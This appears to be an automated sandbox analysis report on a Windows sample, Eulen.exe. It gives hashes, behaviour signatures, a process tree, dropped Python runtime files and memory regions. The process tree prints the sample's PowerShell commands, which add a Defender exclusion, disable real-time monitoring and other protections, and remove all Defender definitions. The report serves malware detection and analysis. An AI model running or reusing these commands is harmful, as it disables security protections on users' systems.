Analysis

  • max time kernel
    25s
  • max time network
    31s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    27-06-2024 19:18

General

  • Target

    Eulen.exe

  • Size

    5.8MB

  • MD5

    2d970bace731195adffbfb8e9e47d150

  • SHA1

    2eb7a63a1559f4e931c2243cbc1aca349c9206a5

  • SHA256

    44fb78affcf34152976fc9e2564bfdfe62d46368c853861f541d617ce5c93dfe

  • SHA512

    139730124e1ca24644636d541051b7c1912507850e1ccb77a13e065e09182cd1658a18370a14ecd3b857554fa267106c61dfcb3c36ae1f41bca37902431ec906

  • SSDEEP

    98304:1Lld9hjQi65sn6Wfz7pnxC/tEC8smLhsl9Qvr/kAXjzrgyOSsJRynL6iIQkr18gX:1Lr9gDOYyCREhS0kypnFnL6TQCxn5H

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Loads dropped DLL 17 IoCs
  • UPX packed file 41 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Eulen.exe
    "C:\Users\Admin\AppData\Local\Temp\Eulen.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2152
    • C:\Users\Admin\AppData\Local\Temp\Eulen.exe
      "C:\Users\Admin\AppData\Local\Temp\Eulen.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:112
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Eulen.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1900
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Eulen.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1600
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2312
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1668

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    627073ee3ca9676911bee35548eff2b8

    SHA1

    4c4b68c65e2cab9864b51167d710aa29ebdcff2e

    SHA256

    85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

    SHA512

    3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    1a9fa92a4f2e2ec9e244d43a6a4f8fb9

    SHA1

    9910190edfaccece1dfcc1d92e357772f5dae8f7

    SHA256

    0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

    SHA512

    5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\VCRUNTIME140.dll

    Filesize

    94KB

    MD5

    a87575e7cf8967e481241f13940ee4f7

    SHA1

    879098b8a353a39e16c79e6479195d43ce98629e

    SHA256

    ded5adaa94341e6c62aea03845762591666381dca30eb7c17261dd154121b83e

    SHA512

    e112f267ae4c9a592d0dd2a19b50187eb13e25f23ded74c2e6ccde458bcdaee99f4e3e0a00baf0e3362167ae7b7fe4f96ecbcd265cc584c1c3a4d1ac316e92f0

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\_bz2.pyd

    Filesize

    43KB

    MD5

    14f6cede9e0019d27c31eee3a915ef52

    SHA1

    573754df8bed96146ac30634df0729d06bf6a168

    SHA256

    b51492a7499cc557b8d3c055966a2fb5841b35fcb7ba9ba7e7d9b029a83ee44d

    SHA512

    a6673afd2fbed73961b222382e5e98a792b67ba67c552f771c4865345339a7952e6d468f039e4f8631f399e86b0ee920e9587a66fc1b8834c8628b9ac1e16a62

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\_ctypes.pyd

    Filesize

    54KB

    MD5

    9ca880ee43fb91437d19498793311c2f

    SHA1

    a475666edc3c18155669afdb9360f66f6267bbef

    SHA256

    5c885a972a841f14ccc6d81b942a5acb60df116e7b06ad8cb2385fc59a7fb18d

    SHA512

    d20fdf32e4e678a1c113e7896494bdae604838bee47f74168012ff5031fd852a88f3d9964226f8b5217ed38fdeee2ce666ea30f7ac842bf30e7f2e2702cafc83

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\_decimal.pyd

    Filesize

    101KB

    MD5

    bc6649c56700e2969df45e3b590052cf

    SHA1

    8bec6d861811f02f14cc15d39a5f2f90b8428d02

    SHA256

    1384008ccd60cddcc839d3f7b0fc29bcaac3a8ad6edd9058488bd8ce21d695f8

    SHA512

    a965247291721d1eb873f2912f79197a4488055edbab4589648f8ee5358a2fc90d44a8544efba45331c5bb937bd4fa84181ffdf48ccb86ebcb205e2e2d53440a

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\_hashlib.pyd

    Filesize

    31KB

    MD5

    bd72948920169b6f05b4f252b2d88460

    SHA1

    a830843f0b210fb3eaad7adcb764e2f124603b7d

    SHA256

    ae2964c42e590ad1d51837dd96b747619e3ed28f35172c517d7875f4381823e3

    SHA512

    0cc1de1673932af3050b870dd9bcf8c51379dfb6f66c1acce7c345531aaaacdd31b25b553c3e602b4cff0380232ff194572c9c3184fd1182c70843df44bdf56e

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\_lzma.pyd

    Filesize

    81KB

    MD5

    82ebacab21a375c90c2cc10a834d294b

    SHA1

    a066b0cbc5a8d7aab0ea78faa0785a1405abb23a

    SHA256

    138adc9f4a7e8cb239cdcce05af832b7e2527ed29de8e3f461c9900df8b2c404

    SHA512

    7f3b27f62d163126cbc23b3ac215ba9e5ebbf6769afc7d51d0db487f4b9ef9905a7180a25f6d5b80a033f1867ac6382842ce40791dd1404c8d46543bfb01cf0a

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\_queue.pyd

    Filesize

    21KB

    MD5

    d69381b02618505b6d2fdafb84a2686d

    SHA1

    7f28533d9c6141e72d17006e008e8ee5396f4940

    SHA256

    007d190306e9bf4a3ed0fbd3f46c45a716210f8b3e220f76e17d6ccf8631c00c

    SHA512

    72e4f5734361ed428fb2c308f4c8fecae20817ee81921939736b01836627a9edafdce0e121d00d9f5ede438717384e90ee8fa6d6f0bf92a2c17985bb016397ec

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\_socket.pyd

    Filesize

    38KB

    MD5

    8acf34fc59c9715defdd5c6dd9f22803

    SHA1

    73dac021792f590b32ddef5fd6707e4c26d5c1b3

    SHA256

    514d22b51327e6837edaec2a27761aca535da7dd55043ea3d4e2cb8bd7d52a61

    SHA512

    0932234e97a68dd5faf46a06f5aba6e85f7d2b1896606b55d8a87a9d1973961d3913a9ea1aa0b5742e9b489eafacc5f50a74b597d4edfcf6bbde5ddd94f16fa0

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\_sqlite3.pyd

    Filesize

    45KB

    MD5

    557a3a3a76c8bbc792901b201b0318cf

    SHA1

    c69027bbd7460f0be4582329de768cc3c4317bb2

    SHA256

    2c0b99f214e2c6c7f2a7bb81e1ec7759039308b09ca6c4e5ffa246a6afd2ba9e

    SHA512

    cd55f0e84e752b4789114b6f1803c96882607bc49203c9f5b1a1bce7ab1576fbbd1313f60ce59d4c67ccdaa2f28d7a297294f3a3b23ed81f599c66b066144493

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\_ssl.pyd

    Filesize

    58KB

    MD5

    e9f1e4e988ee39cc71b48eea7a63fb86

    SHA1

    b853dd38b4d97d435d59df3b2691dbab7dcae9ef

    SHA256

    d7def30d231d85044acbcf278bde64081efaccc44a885e7831512be70efd790f

    SHA512

    c7c6707fa0cb7b4033ac2310de62d8ffdc955f7f48d0a49886ce405166fb5edfd5f9f52e4048186637e0af6a9bc8653b7f0f00b968f447b193c275265e480101

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\base_library.zip

    Filesize

    858KB

    MD5

    0914056664e25c8ca354cff0080a06e5

    SHA1

    5b27f1317af9abf4724d8a2c8a02a20b60dd30c0

    SHA256

    ef6549f4ce4cc039f98f4aba2951d57870f8751a7ff712242a8764f052d16624

    SHA512

    2cf4720932527b8a3b538f0c117124e19f772b5dedcffdfbcf4be7c31a074bc05d9a27e582cd4fbcb3d2e150ecb28f1ca6b6c49d388f84a811de3e7d38237eaf

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\blank.aes

    Filesize

    76KB

    MD5

    c765f3e3b0b491dcb37ec324f52ed8b5

    SHA1

    d92961238f3c741b7d3319cb1bb67609f3f6b390

    SHA256

    87d868d11060ee0171f520be1c24fb206430f3934040970c449a7a8a8bcb65d3

    SHA512

    2c681e211f27c68609f1237f6983b108647e6bf2c9041c96c8be5ab07bb4e0b89eda789cd7946bd3270a7c12d9ffa53dd2f339386cb7c53bee7132fd6f8e18d6

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\libcrypto-1_1.dll

    Filesize

    1.1MB

    MD5

    3cc020baceac3b73366002445731705a

    SHA1

    6d332ab68dca5c4094ed2ee3c91f8503d9522ac1

    SHA256

    d1aa265861d23a9b76f16906940d30f3a65c5d0597107ecb3d2e6d470b401bb8

    SHA512

    1d9b46d0331ed5b95dda8734abe3c0bd6f7fb1ec9a3269feab618d661a1644a0dc3bf8ac91778d5e45406d185965898fe87abd3261a6f7f2968c43515a48562c

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\libffi-7.dll

    Filesize

    23KB

    MD5

    6f818913fafe8e4df7fedc46131f201f

    SHA1

    bbb7ba3edbd4783f7f973d97b0b568cc69cadac5

    SHA256

    3f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56

    SHA512

    5473fe57dc40af44edb4f8a7efd68c512784649d51b2045d570c7e49399990285b59cfa6bcd25ef1316e0a073ea2a89fe46be3bfc33f05e3333037a1fd3a6639

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\libssl-1_1.dll

    Filesize

    200KB

    MD5

    7f77a090cb42609f2efc55ddc1ee8fd5

    SHA1

    ef5a128605654350a5bd17232120253194ad4c71

    SHA256

    47b63a9370289d2544abc5a479bfb27d707ae7db4f3f7b6cc1a8c8f57fd0cf1f

    SHA512

    a8a06a1303e76c76d1f06b689e163ba80c1a8137adac80fab0d5c1c6072a69d506e0360d8b44315ef1d88cbd0c9ac95c94d001fad5bc40727f1070734bbbbe63

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\python310.dll

    Filesize

    1.4MB

    MD5

    617c7f358a7744fa767ef52e5224c9ec

    SHA1

    6b8974308c1a734a5cfab590205d5135c216c54d

    SHA256

    67ce157f4e61ad163b773fa885620f4fad58793b7ca8b32e4cc38f1e6744b987

    SHA512

    25d3dc8eacb53284cfe1ef6f932606b6acc90fc5fac3157d6901e5cfa7f2ae8b06d87c73ba10516a43bb4f74c4e8cfd6ce8d3dfa7c65558e4705011288a4136b

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\rar.exe

    Filesize

    615KB

    MD5

    9c223575ae5b9544bc3d69ac6364f75e

    SHA1

    8a1cb5ee02c742e937febc57609ac312247ba386

    SHA256

    90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

    SHA512

    57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\rarreg.key

    Filesize

    456B

    MD5

    4531984cad7dacf24c086830068c4abe

    SHA1

    fa7c8c46677af01a83cf652ef30ba39b2aae14c3

    SHA256

    58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

    SHA512

    00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\select.pyd

    Filesize

    21KB

    MD5

    f7b1a9d9a01db7ccfe3e6aff5010af01

    SHA1

    45af84436b9c2aa6bb24b583b2b4915679ae3f3f

    SHA256

    ba793d571893b08eab1b8a250a4b7b91cb947bc7da7e44cc6aa719c5148f0cbd

    SHA512

    cfa67c55d55df0ff5b0aab2ea594a9210a7bfc67f11550733cf655cd9eaf6fdbe48e69c229edafd58931d5c61ad9fbf30f77f4d4e19d0a61992110627e0874c1

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\sqlite3.dll

    Filesize

    611KB

    MD5

    fc6f37d7d90f3baacc483ef2dc6f0e05

    SHA1

    0c7a777afe00c9e21f408446e1b3e92cd59dbea9

    SHA256

    4d5b66f7f7b0912dc954f7ab917574da8c7904f3c13ec59e81894c22ffa88631

    SHA512

    74b2a9b0b4c43184f492d1a238dbf77ccca9ab29f7ab73ebf02419c66acd6952aa2318c50d3457d43ca6fe9f43957001f4b88fe9aec01be993b91189741fc85c

  • C:\Users\Admin\AppData\Local\Temp\_MEI21522\unicodedata.pyd

    Filesize

    285KB

    MD5

    a44e3cc2bf01cc23cb5579b2ed9e72c6

    SHA1

    6cbc24b32ff828b0bf4061566aba1e284b474558

    SHA256

    5af3d3d89e0a6ba6cbae58791ec47778f2f98a0964f70d572bd91030165abb42

    SHA512

    5fdd0320f6d6884e71c768f10e6e606448c21ce75209e0c81cf9737596836e9af0914abf365d54b154a0f48e66f8d25ab9463baebe9110e1bf0d550838b77171

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cdyyp1lh.ra0.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/112-120-0x00007FFF32D90000-0x00007FFF32F01000-memory.dmp

    Filesize

    1.4MB

  • memory/112-104-0x00007FFF2E480000-0x00007FFF2E8E3000-memory.dmp

    Filesize

    4.4MB

  • memory/112-59-0x00007FFF36FD0000-0x00007FFF36FEE000-memory.dmp

    Filesize

    120KB

  • memory/112-60-0x00007FFF32D90000-0x00007FFF32F01000-memory.dmp

    Filesize

    1.4MB

  • memory/112-62-0x00007FFF361D0000-0x00007FFF361E9000-memory.dmp

    Filesize

    100KB

  • memory/112-64-0x00007FFF38720000-0x00007FFF3872D000-memory.dmp

    Filesize

    52KB

  • memory/112-70-0x00007FFF32730000-0x00007FFF32AA7000-memory.dmp

    Filesize

    3.5MB

  • memory/112-71-0x000002987AAD0000-0x000002987AE47000-memory.dmp

    Filesize

    3.5MB

  • memory/112-69-0x00007FFF33370000-0x00007FFF3339E000-memory.dmp

    Filesize

    184KB

  • memory/112-79-0x00007FFF2E360000-0x00007FFF2E478000-memory.dmp

    Filesize

    1.1MB

  • memory/112-78-0x00007FFF2E480000-0x00007FFF2E8E3000-memory.dmp

    Filesize

    4.4MB

  • memory/112-76-0x00007FFF372C0000-0x00007FFF372CD000-memory.dmp

    Filesize

    52KB

  • memory/112-122-0x00007FFF2E480000-0x00007FFF2E8E3000-memory.dmp

    Filesize

    4.4MB

  • memory/112-56-0x00007FFF385C0000-0x00007FFF385D8000-memory.dmp

    Filesize

    96KB

  • memory/112-102-0x00007FFF36220000-0x00007FFF36244000-memory.dmp

    Filesize

    144KB

  • memory/112-47-0x00007FFF36220000-0x00007FFF36244000-memory.dmp

    Filesize

    144KB

  • memory/112-48-0x00007FFF38730000-0x00007FFF3873F000-memory.dmp

    Filesize

    60KB

  • memory/112-25-0x00007FFF2E480000-0x00007FFF2E8E3000-memory.dmp

    Filesize

    4.4MB

  • memory/112-75-0x00007FFF361B0000-0x00007FFF361C5000-memory.dmp

    Filesize

    84KB

  • memory/112-103-0x00007FFF385C0000-0x00007FFF385D8000-memory.dmp

    Filesize

    96KB

  • memory/112-119-0x00007FFF36FD0000-0x00007FFF36FEE000-memory.dmp

    Filesize

    120KB

  • memory/112-54-0x00007FFF361F0000-0x00007FFF3621C000-memory.dmp

    Filesize

    176KB

  • memory/112-115-0x00007FFF32730000-0x00007FFF32AA7000-memory.dmp

    Filesize

    3.5MB

  • memory/112-113-0x00007FFF33370000-0x00007FFF3339E000-memory.dmp

    Filesize

    184KB

  • memory/112-111-0x00007FFF361D0000-0x00007FFF361E9000-memory.dmp

    Filesize

    100KB

  • memory/112-73-0x00007FFF33080000-0x00007FFF33137000-memory.dmp

    Filesize

    732KB

  • memory/112-121-0x000002987AAD0000-0x000002987AE47000-memory.dmp

    Filesize

    3.5MB

  • memory/1600-85-0x0000018E44300000-0x0000018E44322000-memory.dmp

    Filesize

    136KB